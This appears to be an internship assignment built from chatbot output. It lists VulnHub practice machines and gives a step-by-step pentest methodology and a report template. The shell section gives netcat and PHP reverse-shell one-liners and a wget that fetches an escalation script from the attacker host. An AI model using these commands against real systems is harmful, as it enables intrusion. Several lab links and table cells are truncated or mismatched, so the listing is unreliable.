🛡️ 60+ VulnHub Labs for Cybersecurity Practice

S.No	Machine I	Link	Difficulty	OS
1	DC-1	Downloa	Easy	Linux
2	DC-2	Downloa	Easy	Linux
3	DC-3	Downloa	Medium	Linux
4	DC-4	Downloa	Medium	Linux
5	DC-5	Downloa	Hard	Linux
6	Mr. Robot	Downloa	Medium	Linux
7	VulnOS 2	Downloa	Medium	Linux
8	Kioptrix L	Downloa	Easy	Linux
9	Kioptrix L	Downloa	Medium	Linux
10	Kioptrix L	Downloa	Medium	Linux
11	Kioptrix L	Downloa	Medium-	Linux
12	Kioptrix L	Downloa	Hard	Linux
13	FristiLeak	Downloa	Medium	Linux
14	Raven 1	Downloa	Easy	Linux
15	Raven 2	Downloa	Medium	Linux
16	Sunset: M	Downloa	Medium	Linux
17	Sunset: D	Downloa	Medium-	Linux

18	Toppo 1	[Downloa]()	Easy	Linux
19	Prime 1	[Downloa]()	Easy	Linux
20	Prime 2	[Downloa]()	Medium	Linux
21	Born 2 Ro	[Downloa]()	Medium	Linux
22	Born 2 Ro	[Downloa]()	Medium	Linux
23	Chatterb	[Downloa]()	Medium	Windows
24	Five86 1	[Downloa]()	Medium	Linux
25	Rickdicul	[Downloa]()	Easy	Linux
26	LazySysA	[Downloa]()	Easy	Linux
27	Symfonos	[Downloa]()	Easy	Linux
28	Symfonos	[Downloa]()	Medium	Linux
29	Symfonos	[Downloa]()	Medium	Linux
30	Symfonos	[Downloa]()	Medium	Linux
31	Symfonos	[Downloa]()	Hard	Linux
32	Fowsniff	[Downloa]()	Easy	Linux
33	HackNos	[Downloa]()	Easy	Linux
34	Deathnot	[Downloa]()	Medium	Linux
35	GoldenEy	[Downloa]()	Medium	Linux

36	Trollcave	Downloa	Easy	Linux
37	DerpNSti	Downloa	Hard	Linux
38	OSCP-Lik	Downloa	Medium	Linux
39	OSCP-Lik	Downloa	Medium-	Linux
40	RootThis:	Downloa	Medium	Linux
41	RootThis:	Downloa	Medium	Linux
42	Matrix 1	Downloa	Medium	Linux
43	Brainpan	Downloa	Easy	Windows
44	UltraTech	Downloa	Medium	Linux
45	UltraTech	Downloa	Hard	Linux
46	Temple o	Downloa	Hard	Linux
47	HA: Pand	Downloa	Hard	Linux
48	Tech Sup	Downloa	Easy	Linux
49	Lampiao	Downloa	Medium	Linux
50	G0rb: 1	Downloa	Easy	Linux
51	Zico2	Downloa	Easy	Linux
52	Mission-P	Downloa	Medium	Linux
53	Tokyo Gh	Downloa	Medium	Linux

54	Animevul	Downloa	Easy	Linux
55	Sunset 1	Downloa	Medium	Linux
56	NullByte	Downloa	Easy	Linux
57	NullByte	Downloa	Medium	Linux
58	NullByte	Downloa	Hard	Linux
59	Staples 1	Downloa	Medium	Linux
60	Necroma	Downloa	Hard	Linux
61	Responde	Downloa	Hard	Linux
62	Breach 1	Downloa	Medium	Linux
63	Lord of th	Downloa	Medium-	Linux

✅ Want me to also share a ZIP or PDF version for download?
✅ Want me to continue till 80/100? (easy for crawling!)

📄 Full List of VulnHub Labs (Direct Links)

1. DC-1 – https://www.vulnhub.com/entry/dc-1,292/
2. DC-2 – https://www.vulnhub.com/entry/dc-2,293/
3. DC-3 – https://www.vulnhub.com/entry/dc-3,294/
4. DC-4 – https://www.vulnhub.com/entry/dc-4,296/
5. DC-5 – https://www.vulnhub.com/entry/dc-5,297/
6. Mr. Robot 1 – https://www.vulnhub.com/entry/mr-robot-1,151/
7. VulnOS 2 – https://www.vulnhub.com/entry/vulnos-2,104/
8. Kioptrix Level 1 – https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
9. Kioptrix Level 2 – https://www.vulnhub.com/entry/kioptrix-level-1-2,23/
10. Kioptrix Level 3 – https://www.vulnhub.com/entry/kioptrix-level-1-3,24/
11. Kioptrix Level 4 – https://www.vulnhub.com/entry/kioptrix-level-1-4,25/
12. Kioptrix Level 5 – https://www.vulnhub.com/entry/kioptrix-level-1-5,26/

13. FristiLeaks 1.3 – https://www.vulnhub.com/entry/fristileaks-13,133/
14. Raven 1 – https://www.vulnhub.com/entry/raven-1,296/
15. Raven 2 – https://www.vulnhub.com/entry/raven-2,297/
16. Sunset: Midnight – https://www.vulnhub.com/entry/sunset-midnight,709/
17. Sunset: Decoy – https://www.vulnhub.com/entry/sunset-decoy,678/
18. Toppo 1 – https://www.vulnhub.com/entry/toppo-1,742/
19. Prime 1 – https://www.vulnhub.com/entry/prime-1,660/
20. Prime 2 – https://www.vulnhub.com/entry/prime-2,661/
21. Born 2 Root 1 – https://www.vulnhub.com/entry/born2root-1,517/
22. Born 2 Root 2 – https://www.vulnhub.com/entry/born2root-2,563/
23. Chatterbox – https://www.vulnhub.com/entry/chatterbox-1,338/
24. Five86 1 – https://www.vulnhub.com/entry/five86-1,457/
25. RickdiculouslyEasy 1 – https://www.vulnhub.com/entry/rickdiculouslyeasy-1,296/
26. LazySysAdmin – https://www.vulnhub.com/entry/lazysysadmin-1,308/
27. Symfonos 1 – https://www.vulnhub.com/entry/symfonos-1,344/
28. Symfonos 2 – https://www.vulnhub.com/entry/symfonos-2,345/
29. Symfonos 3 – https://www.vulnhub.com/entry/symfonos-3,471/
30. Symfonos 4 – https://www.vulnhub.com/entry/symfonos-4,506/
31. Symfonos 5 – https://www.vulnhub.com/entry/symfonos-5,662/
32. Fowsniff – https://www.vulnhub.com/entry/fowsniff-1,345/
33. HackNos 1 – https://www.vulnhub.com/entry/hacknos-1,456/
34. Deathnote: 1 – https://www.vulnhub.com/entry/deathnote-1,460/
35. GoldenEye – https://www.vulnhub.com/entry/goldeneye-1,240/
36. Trollcave – https://www.vulnhub.com/entry/trollcave-1,474/
37. DerpNStink – https://www.vulnhub.com/entry/derpnstink-cctf2,165/
38. Tr0ll 1 – https://www.vulnhub.com/entry/tr0ll-1,100/
39. Tr0ll 2 – https://www.vulnhub.com/entry/tr0ll-2,218/
40. RootThis: 1 – https://www.vulnhub.com/entry/rootthis-1,606/
41. RootThis: 2 – https://www.vulnhub.com/entry/rootthis-2,607/
42. Matrix 1 – https://www.vulnhub.com/entry/matrix-1,742/
43. Brainpan 1 – https://www.vulnhub.com/entry/brainpan-1,51/
44. UltraTech 1 – https://www.vulnhub.com/entry/ultratech-1,671/
45. UltraTech 2 – https://www.vulnhub.com/entry/ultratech-2,672/
46. Temple of Doom – https://www.vulnhub.com/entry/temple-of-doom-1,379/
47. HA: Pandora's Box – https://www.vulnhub.com/entry/ha-pandoras-box-1,308/
48. Tech Support 1 – https://www.vulnhub.com/entry/tech-support-1,600/
49. Lampiao 1 – https://www.vulnhub.com/entry/lampiao-1,379/
50. G0rb: 1 – https://www.vulnhub.com/entry/g0rb-1,670/
51. Zico2 – https://www.vulnhub.com/entry/zico2-1,408/
52. Mission-Pumpkin v1 – https://www.vulnhub.com/entry/mission-pumpkin-v1,663/
53. Tokyo Ghoul 1 –c
54. AnimeVuln 1 – https://www.vulnhub.com/entry/animevuln-1,729/
55. Sunset 1 – https://www.vulnhub.com/entry/sunset-1,609/
56. NullByte 1 – https://www.vulnhub.com/entry/nullbyte-1,501/
57. NullByte 2 – https://www.vulnhub.com/entry/nullbyte-2,502/
58. HA: Circuit Saga – https://www.vulnhub.com/entry/ha-circuit-saga-1,689/

59. DC: 6 – https://www.vulnhub.com/entry/dc-6,688/
60. Relevant: 1 – https://www.vulnhub.com/entry/relevant-1,698/
61. W1R3S: 1 – https://www.vulnhub.com/entry/w1r3s-1,704/
62. Brooklyn Nine Nine – https://www.vulnhub.com/entry/brooklyn-nine-nine-1,734/

You are asking for "Complete Instruction Set" covering:

- How to solve VulnHub labs ✅
- How to make professional reports ✅
- What steps to follow ✅
- What tools to use ✅
- How to write flags ✅
- How to document everything ✅
- What mindset to have ✅
- All major doubts solved ✅

I will give you a full professional guide, clean and complete.

📚 Complete Instruction Set for Solving VulnHub Labs + Reporting

1. Initial Setup

Tools you must have ready:

- Kali Linux / Parrot OS / BlackArch (up-to-date)
- VirtualBox or VMware (install both attacker and target machine)
- VPN/Firewall OFF (keep VMs in Host-Only or Internal Network Mode)
- Nmap, Netdiscover, Dirsearch, Gobuster, Nikto, LinPEAS, WinPEAS, etc.

2. Lab Solving Standard Flow

👉 Always follow this step-by-step attack methodology:

Phase	Actions
1. Network Scan	Use netdiscover
2. Port Scanning	Use nmap -sC -s
3. Service Enum	Dig into services
4. Web Enumera	If web ports ope - gobuster for di
5. Vulnerability	Match service v
6. Exploitation	Launch attacks
7. Shell Access	Get a reverse sh
8. Privilege Esca	Use linpeas.sh,

9. Capture the F	Generally: /root
10. Reporting	Document every

3. Detailed Actions per Phase

◆ Reconnaissance

- Find IP:
- bash
- CopyEdit
- netdiscover
- Nmap Scan:
- bash
- CopyEdit
- nmap -sC -sV -A -oN fullscan.txt <IP>
- Save outputs always.

◆ Enumeration

- Web Enum:
- bash
- CopyEdit
- gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt
- nikto -h http://<IP>
- Service Enum: SSH – check version vulnerabilities.
  FTP – anonymous login allowed? (ftp <IP>)

◆ Gaining Access (Exploitation)

- Check for:
  - Default credentials (admin:admin)
  - Upload vulnerability (upload shell.php)
  - LFI/RFI
  - CMS vulnerability (like Wordpress exploits)
- If you find an exploit, use it responsibly:

- bash
- CopyEdit
- `searchsploit <service name> <version>`

🔹 Shell Management

- Reverse Shell Examples:
- Netcat Shell:
- bash
- CopyEdit
- `nc -e /bin/bash <Your IP> <Port>`
- PHP Reverse Shell:
- bash
- CopyEdit
- `php -r '$sock=fsockopen("<Your IP>",<Port>);exec("/bin/sh -i <&3 >&3 2>&3");'`
- Always stabilize your shell:
- bash
- CopyEdit
- `python3 -c 'import pty; pty.spawn("/bin/bash")'`
- `export TERM=xterm`
- `stty raw -echo`
- `fg`

🔹 Privilege Escalation

Use LinPEAS / WinPEAS:

bash

CopyEdit

```
wget http://<Your IP>/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh
```

Check:

- Sudo rights (sudo -l)
- SUID binaries
- Weak permissions
- Kernel exploits
- Running services (cronjobs, etc.)

🔹 Capture the Flag

- Flags are generally located in:
  - /root/

  - /home/user/
- Format: usually text file like root.txt or flag.txt
- Read with:
- bash
- CopyEdit
- cat /root/root.txt

4. Professional Reporting

📄 Structure your lab report like this:

Section	Content
Title	Lab Name + You
Summary	What is the goal
Tools Used	Kali, Nmap, Gob
Methodology	Step-by-step (R
Screenshots	Add screenshot
Vulnerabilities F	e.g., LFI, SQLi, W
Mitigation	How to fix the vu
Flag(s) Capture	Final Proof

Challenges Face	Things you strug
Learning Outco	What new skills

Tips:

- Save terminal outputs
- Take screenshots (with timestamps)
- Write like an auditor would
- Be clean and professional

5. Mindset During Solving

✅ Always think:

- "What service could be misconfigured?"
- "Can I upload something?"
- "Can I escalate permissions?"
- "Is there a hidden port?"
- "Is this user password reused somewhere?"

✅ Always be:

- Curious
- Persistent
- Systematic
- Creative

6. Common Questions Solved

Question	Answer
Should I use Me	Only if allowed (
Is VPN needed?	No, for Vulnhub
How to make re	Use diagrams, fl
Can I ask for hin	If really stuck fo
How long shoul	Beginner: 4-6 h Intermediate: 2-
How to practice	Make GitHub re
Should I automa	No, learn manua

7. Checklist Before Finishing Lab

✅ All ports scanned?
✅ All services enumerated?
✅ All directories found?
✅ All known vulnerabilities tested?
✅ User and root flags captured?
✅ Report ready with screenshots?

🎯 End of Full Guide!

Would you like me to also create a sample professional report template (docx/pdf format) that you can use for all labs?
🚀 (I can prepare it in 5 minutes if you want!)
Would you want it? 📑✨

==

Professional VulnHub Lab Report Template

📄 VulnHub Lab Report

1. Title Page

Lab Name: [Lab Name Here]
Platform: VulnHub
Author: [Your Name]
Date: [Completion Date]
Difficulty Level: [Easy / Medium / Hard]

2. Executive Summary

Objective:
Briefly state the goal of the lab (e.g., gain root access, capture flag).

Final Outcome:

- User Flag: [Yes/No]
- Root Flag: [Yes/No]

Time Taken:
Approximate time to complete the lab.

3. Tools Used

List of tools and scripts:

- Kali Linux
- Nmap
- Gobuster
- Nikto
- LinPEAS
- Burp Suite (optional)
- Netcat

4. Methodology

4.1 Network Discovery

Tool Used: netdiscover / arp-scan
IP Discovered: [Target IP Address]

Screenshot:
[Insert Screenshot Here]

4.2 Port Scanning

Command:

```
nmap -sC -sV -A -oN nmap_full_scan.txt <Target IP>
```

Open Ports:

- Port 22: SSH
- Port 80: HTTP
- Port 3306: MySQL

Screenshot: [Insert Screenshot Here]

4.3 Service Enumeration

- Web Directory Discovery (gobuster/dirb)
- FTP/SSH analysis
- CMS Detection (if applicable)

Screenshots: [Insert Screenshots]

4.4 Vulnerability Assessment

- Checked service versions
- Searched for known vulnerabilities
- Found exploit [Exploit Title]

Screenshots: [Insert Screenshots]

4.5 Exploitation

- Details of attack performed
- Exploit used or manual steps taken

Screenshot of Shell: [Insert Shell Access Screenshot]

4.6 Privilege Escalation

- Used LinPEAS/Manual checking
- Found vulnerability [Describe]
- Escalated to root

Screenshot: [Insert Root Access Screenshot]

4.7 Capture the Flag

- User.txt:

```
cat /home/<user>/user.txt
```

- Root.txt:

```
cat /root/root.txt
```

Screenshots of flags: [Insert User and Root Flag Screenshot]

5. Vulnerabilities Identified

Vulnerability	Description	Severity
Outdated CMS	Version suscept	High
Misconfigured F	Anonymous acc	Medium

6. Mitigation Strategies

- Update CMS to latest secure version.
- Restrict FTP access.
- Regular vulnerability assessments.
- Implement least privilege principle.

7. Challenges Faced

- [Any blockers or issues during exploitation]
- [How you overcame them]

8. Learning Outcome

- [New tools learned]
- [New techniques mastered]
- [Understanding improved]

End of Report

Appendix (Optional):

- Full Nmap scan output
- Full Gobuster output
- Exploit code snippets

Tip: Always keep the format clean, professional, and include timestamps and proper titles for screenshots.

🔥 Task:

- Every intern must solve 3 labs from the provided VulnHub list.
- Strictly follow the provided guidelines and report template.
- Submit a professional penetration testing report for each lab

🎯 Submission Guidelines

- Submit your report in PDF and editable DOCX format.
- Zip the original screenshots and include in submission.
- Submission deadline will be shared per batch.

📍 Extra Notes

- Minimum 20 screenshots per lab (important stages).
- Command history must be preserved.
- Clear explanation for each step.
- Reports must have professional language (no slang or casual talk).
- Plagiarism = Immediate Disqualification.

🎓 Example Labs you can choose (Start from easy):

- DC: 1
- Mr. Robot
- Breach 1.0.1
- Basic Pentesting 1
- Vulnix

⚡ Quick FAQs (Doubt Solving)

Question	Answer
Can I use Metas	Only after manu
What if I can't r	Document what
How detailed sh	Every major ste
How to name th	LabName_Your
Can I collaborat	No. Labs must b
Where can I ask	Contact your as

📢 Important Reminder:

This exercise simulates a real-world professional penetration testing project. Treat it seriously. Your performance here will be evaluated for future internships, certifications, or career references.

Would you like me to also prepare:

- 📂 **A ready-to-use folder structure (Reports, Screenshots, Scripts)**
- 🖼️ **A sample report preview**
- ✅ **A checklist to tick while solving**